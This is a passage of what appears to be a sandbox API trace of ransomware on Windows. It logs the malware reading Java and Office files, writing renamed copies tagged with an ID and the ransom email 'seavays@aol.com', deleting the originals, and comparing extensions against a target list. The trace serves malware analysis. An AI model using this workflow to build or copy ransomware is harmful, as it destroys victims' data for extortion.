lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xfa0, lpOverlapped=0x0) returned 1 [0169.607] ReadFile (in: hFile=0x540, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.607] WriteFile (in: hFile=0x544, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf4, lpOverlapped=0x0) returned 1 [0169.608] SetEndOfFile (hFile=0x544) returned 1 [0169.608] CloseHandle (hObject=0x544) returned 1 [0169.609] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.609] SetEndOfFile (hFile=0x540) returned 1 [0169.872] CloseHandle (hObject=0x540) returned 1 [0169.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.234] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1 [0170.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0170.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0170.517] lstrlenW (lpString=".doc") returned 4 [0170.517] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0170.517] lstrlenW (lpString=".docx") returned 5 [0170.517] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0170.517] lstrlenW (lpString=".pdf") returned 4 [0170.517] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0170.517] lstrlenW (lpString=".xls") returned 4 [0170.517] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0170.517] lstrlenW (lpString=".xlsx") returned 5 [0170.517] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0170.517] lstrlenW (lpString=".ppt") returned 4 [0170.517] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0170.517] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0170.517] lstrlenW (lpString=".zip") returned 4 [0170.518] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0170.518] lstrlenW (lpString=".rar") returned 4 [0170.518] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0170.518] lstrlenW (lpString=".bz2") returned 4 [0170.518] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0170.518] lstrlenW (lpString=".7z") returned 3 [0170.518] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0170.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0170.518] lstrlenW (lpString=".dbf") returned 4 [0170.518] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0170.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0170.518] lstrlenW (lpString=".1cd") returned 4 [0170.518] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0170.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0170.518] lstrlenW (lpString=".jpg") returned 4 [0170.518] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0170.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0170.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0170.518] lstrlenW (lpString=".doc") returned 4 [0170.518] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0170.518] lstrlenW (lpString=".docx") returned 5 [0170.518] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0170.518] lstrlenW (lpString=".pdf") returned 4 [0170.518] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0170.518] lstrlenW (lpString=".xls") returned 4 [0170.519] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0170.519] lstrlenW (lpString=".xlsx") returned 5 [0170.519] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0170.519] lstrlenW (lpString=".ppt") returned 4 [0170.519] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0170.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0170.519] lstrlenW (lpString=".zip") returned 4 [0170.519] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0170.519] lstrlenW (lpString=".rar") returned 4 [0170.519] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0170.519] lstrlenW (lpString=".bz2") returned 4 [0170.519] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0170.519] lstrlenW (lpString=".7z") returned 3 [0170.519] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0170.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0170.519] lstrlenW (lpString=".dbf") returned 4 [0170.519] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0170.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0170.519] lstrlenW (lpString=".1cd") returned 4 [0170.519] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0170.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0170.519] lstrlenW (lpString=".jpg") returned 4 [0170.519] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0170.520] lstrcmpiW (lpString1=".0_144\\lib\\security\\cacerts", lpString2=".save") returned -1 [0170.520] lstrlenW (lpString="cacerts") returned 7 [0170.520] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0170.521] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=114923) returned 1 [0170.521] CloseHandle (hObject=0x534) returned 1 [0170.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20 [0170.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.521] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0170.522] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.522] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.522] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0170.650] GetLastError () returned 0x0 [0170.650] ReadFile (in: hFile=0x534, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x1c0eb, lpOverlapped=0x0) returned 1 [0170.662] WriteFile (in: hFile=0x538, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1c0f0, lpOverlapped=0x0) returned 1 [0170.665] ReadFile (in: hFile=0x534, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.665] WriteFile (in: hFile=0x538, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xe2, lpOverlapped=0x0) returned 1 [0170.665] SetEndOfFile (hFile=0x538) returned 1 [0170.665] CloseHandle (hObject=0x538) returned 1 [0170.665] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.665] SetEndOfFile (hFile=0x534) returned 1 [0170.676] CloseHandle (hObject=0x534) returned 1 [0170.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0171.298] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 1 [0171.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0171.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0171.299] lstrlenW (lpString=".doc") returned 4 [0171.299] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0171.299] lstrlenW (lpString=".docx") returned 5 [0171.299] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0171.299] lstrlenW (lpString=".pdf") returned 4 [0171.299] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0171.299] lstrlenW (lpString=".xls") returned 4 [0171.299] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0171.299] lstrlenW (lpString=".xlsx") returned 5 [0171.299] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0171.299] lstrlenW (lpString=".ppt") returned 4 [0171.299] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0171.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0171.299] lstrlenW (lpString=".zip") returned 4 [0171.300] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0171.300] lstrlenW (lpString=".rar") returned 4 [0171.300] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0171.300] lstrlenW (lpString=".bz2") returned 4 [0171.300] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0171.300] lstrlenW (lpString=".7z") returned 3 [0171.300] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0171.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0171.300] lstrlenW (lpString=".dbf") returned 4 [0171.300] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0171.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0171.300] lstrlenW (lpString=".1cd") returned 4 [0171.300] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0171.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0171.300] lstrlenW (lpString=".jpg") returned 4 [0171.300] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0171.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0171.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0171.300] lstrlenW (lpString=".doc") returned 4 [0171.300] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0171.300] lstrlenW (lpString=".docx") returned 5 [0171.300] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0171.300] lstrlenW (lpString=".pdf") returned 4 [0171.300] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0171.301] lstrlenW (lpString=".xls") returned 4 [0171.301] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0171.301] lstrlenW (lpString=".xlsx") returned 5 [0171.301] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0171.301] lstrlenW (lpString=".ppt") returned 4 [0171.301] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0171.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0171.301] lstrlenW (lpString=".zip") returned 4 [0171.301] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0171.301] lstrlenW (lpString=".rar") returned 4 [0171.301] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0171.301] lstrlenW (lpString=".bz2") returned 4 [0171.301] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0171.301] lstrlenW (lpString=".7z") returned 3 [0171.301] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0171.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0171.301] lstrlenW (lpString=".dbf") returned 4 [0171.301] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0171.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0171.301] lstrlenW (lpString=".1cd") returned 4 [0171.301] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0171.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0171.301] lstrlenW (lpString=".jpg") returned 4 [0171.301] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0171.302] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0171.302] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0171.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.303] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=18624) returned 1 [0171.303] CloseHandle (hObject=0x51c) returned 1 [0171.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0171.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0171.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0171.304] lstrlenW (lpString=".doc") returned 4 [0171.304] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.304] lstrlenW (lpString=".docx") returned 5 [0171.304] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.304] lstrlenW (lpString=".pdf") returned 4 [0171.305] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.305] lstrlenW (lpString=".xls") returned 4 [0171.305] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.305] lstrlenW (lpString=".xlsx") returned 5 [0171.305] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.305] lstrlenW (lpString=".ppt") returned 4 [0171.305] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0171.305] lstrlenW (lpString=".zip") returned 4 [0171.305] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.305] lstrlenW (lpString=".rar") returned 4 [0171.305] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.305] lstrlenW (lpString=".bz2") returned 4 [0171.305] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.305] lstrlenW (lpString=".7z") returned 3 [0171.305] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0171.305] lstrlenW (lpString=".dbf") returned 4 [0171.305] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0171.305] lstrlenW (lpString=".1cd") returned 4 [0171.305] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0171.306] lstrlenW (lpString=".jpg") returned 4 [0171.306] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0171.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0171.306] lstrlenW (lpString=".doc") returned 4 [0171.306] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.306] lstrlenW (lpString=".docx") returned 5 [0171.306] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.306] lstrlenW (lpString=".pdf") returned 4 [0171.306] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.306] lstrlenW (lpString=".xls") returned 4 [0171.306] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.306] lstrlenW (lpString=".xlsx") returned 5 [0171.306] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.306] lstrlenW (lpString=".ppt") returned 4 [0171.306] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0171.306] lstrlenW (lpString=".zip") returned 4 [0171.306] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.306] lstrlenW (lpString=".rar") returned 4 [0171.306] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.306] lstrlenW (lpString=".bz2") returned 4 [0171.306] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.306] lstrlenW (lpString=".7z") returned 3 [0171.306] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0171.307] lstrlenW (lpString=".dbf") returned 4 [0171.307] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0171.307] lstrlenW (lpString=".1cd") returned 4 [0171.307] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0171.307] lstrlenW (lpString=".jpg") returned 4 [0171.307] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.307] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0171.307] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0171.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.308] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11616) returned 1 [0171.308] CloseHandle (hObject=0x51c) returned 1 [0171.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0171.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0171.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0171.309] lstrlenW (lpString=".doc") returned 4 [0171.309] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.309] lstrlenW (lpString=".docx") returned 5 [0171.309] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.309] lstrlenW (lpString=".pdf") returned 4 [0171.309] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.309] lstrlenW (lpString=".xls") returned 4 [0171.309] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.309] lstrlenW (lpString=".xlsx") returned 5 [0171.309] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.309] lstrlenW (lpString=".ppt") returned 4 [0171.309] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0171.309] lstrlenW (lpString=".zip") returned 4 [0171.309] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.309] lstrlenW (lpString=".rar") returned 4 [0171.309] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.309] lstrlenW (lpString=".bz2") returned 4 [0171.309] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.309] lstrlenW (lpString=".7z") returned 3 [0171.309] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0171.309] lstrlenW (lpString=".dbf") returned 4 [0171.309] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0171.309] lstrlenW (lpString=".1cd") returned 4 [0171.309] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0171.309] lstrlenW (lpString=".jpg") returned 4 [0171.309] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0171.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0171.310] lstrlenW (lpString=".doc") returned 4 [0171.310] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.310] lstrlenW (lpString=".docx") returned 5 [0171.310] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.310] lstrlenW (lpString=".pdf") returned 4 [0171.310] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.310] lstrlenW (lpString=".xls") returned 4 [0171.310] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.310] lstrlenW (lpString=".xlsx") returned 5 [0171.310] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.310] lstrlenW (lpString=".ppt") returned 4 [0171.310] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0171.310] lstrlenW (lpString=".zip") returned 4 [0171.310] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.310] lstrlenW (lpString=".rar") returned 4 [0171.310] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.310] lstrlenW (lpString=".bz2") returned 4 [0171.310] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.310] lstrlenW (lpString=".7z") returned 3 [0171.310] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0171.310] lstrlenW (lpString=".dbf") returned 4 [0171.310] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0171.310] lstrlenW (lpString=".1cd") returned 4 [0171.310] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0171.310] lstrlenW (lpString=".jpg") returned 4 [0171.310] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.311] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0171.311] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0171.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 